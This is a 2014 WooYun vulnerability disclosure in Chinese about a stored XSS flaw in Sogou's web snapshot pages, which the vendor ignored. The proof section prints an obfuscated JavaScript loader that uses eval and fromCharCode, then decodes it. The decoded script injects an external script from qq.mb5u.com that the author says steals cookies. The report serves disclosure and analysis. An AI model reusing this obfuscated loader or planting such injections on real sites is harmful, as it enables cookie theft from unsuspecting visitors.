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缺陷编号：wooyun-2014-069640

漏洞标题：搜狗快照存在持久型xss漏洞

相关厂商：搜狗

漏洞作者： 风情万种

提交时间：2014-07-25 11:00

修复时间：2014-07-30 11:02

公开时间：2014-07-30 11:02

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2014-07-25： 细节已通知厂商并且等待厂商处理中
2014-07-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

搜狗快照存储型xss 危害你懂得！

详细说明：

如：
http://www.sogou.com//websnapshot?ie=utf8&url=http%3A%2F%2Fqq.mb5u.com%2Fabout.html&did=65b505059bf9e58d-1152efedfc5effe9-134fa5d0b31d02dc09750e547cb02b87&k=fd2b0d13138196abc9b801bca9d59b27&encodedQuery=&query=qq.mb5u.com%2Fabout.html&&pid=sogou-wsse-7535bbb91c8fde34&duppid=1&w=01020400&m=0&st=0&uid=1250&ref=&furl=http%3A%2F%2Ftongjige.com%2F&title=%E7%BB%9F%E8%AE%A1%E5%93%A5_%E8%90%A5%E9%94%80%E7%8E%8B_%E8%AE%BF%E5%AE%A2QQ%E7%BB%9F%E8%AE%A1-%E8%AE%BF%E5%AE%A2QQ%E6%8A%93%E5%8F%96--%E8%AE%BF%E5%AE%A2QQ%E6%8F%90%E5%8F%96-%E7%BD%91%E7%AB%99%E8%AE%BF%E5%AE%A2QQ%E7%BB%9F%E8%AE%A1%E7%B3%BB%E7%BB%9F-%E7%BD%91%E7%AB%99%E8%AE%BF%E5%AE%A2QQ%E6%8A%93%E5%8F%96%E7%B3%BB%E7%BB%9F-%E7%BD%91%E7%AB%99%E8%AE%BF%E5%AE%A2QQ%E8%8E%B7%E5%8F%96%E7%B3%BB%E7%BB%9F-%E7%BD%91%E7%AB%99%E8%AE%BF%E5%AE%A2QQ%E6%8F%90%E5%8F%96%E7%B3%BB%E7%BB%9F-%E7%BD%91%E7%AB%99%E7%BB%9F%E8%AE%A1QQ%E7%B3%BB%E7%BB%9F%E6%BA%90%E7%A0%81%7C%E8%AE%BF%E5%AE%A2QQ%E7%BB%9F%E8%AE%A1%7CQQ%E8%AE%BF%E5%AE%A2%E7%BB%9F%E8%AE%A1
查看源码

20140725095914.png

漏洞证明：

/*_Ka*/var/*hCnn*/IHse/*Wav*/=/*fBJAp*/\u0053\u0074\u0072\u0069\u006e\u0067./*lsxIcC*/\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065;/*ksHMx*/var/*KuVkYP*/NWVbw_QY/*_ztkzYy*/=/*_pNZE*/\u0065\u0076\u0061\u006c;NWVbw_QY(IHse(118,97,114,32,111,72,101,97,100,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,46,105,116,101,109,40,48,41,59,118,97,114,32,111,83,99,114,105,112,116,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,111,83,99,114,105,112,116,46,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,59,111,83,99,114,105,112,116,46,115,114,99,61,34,104,116,116,112,58,47,47,113,113,46,109,98,53,117,46,99,111,109,47,113,113,46,106,115,34,59,111,72,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,111,83,99,114,105,112,116,41,59));


解密

//第一次解密
var IHse=function String.fromCharCode();
var NWVbw_QY= function eval();
NWVbw_QY(IHse(118,97,114,32,111,72,101,97,100,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,46,105,116,101,109,40,48,41,59,118,97,114,32,111,83,99,114,105,112,116,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,111,83,99,114,105,112,116,46,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,59,111,83,99,114,105,112,116,46,115,114,99,61,34,104,116,116,112,58,47,47,113,113,46,109,98,53,117,46,99,111,109,47,113,113,46,106,115,34,59,111,72,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,111,83,99,114,105,112,116,41,59));
//二次解密
var oHead=document.getElementsByTagName('HEAD').item(0);var oScript= document.createElement("script");oScript.type="text/javascript";oScript.src="http://qq.mb5u.com/qq.js";oHead.appendChild(oScript);


http://qq.mb5u.com/qq.js 是盗取cookie的

修复方案：

....

版权声明：转载请注明来源 风情万种@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-07-30 11:02

厂商回复：

最新状态：

暂无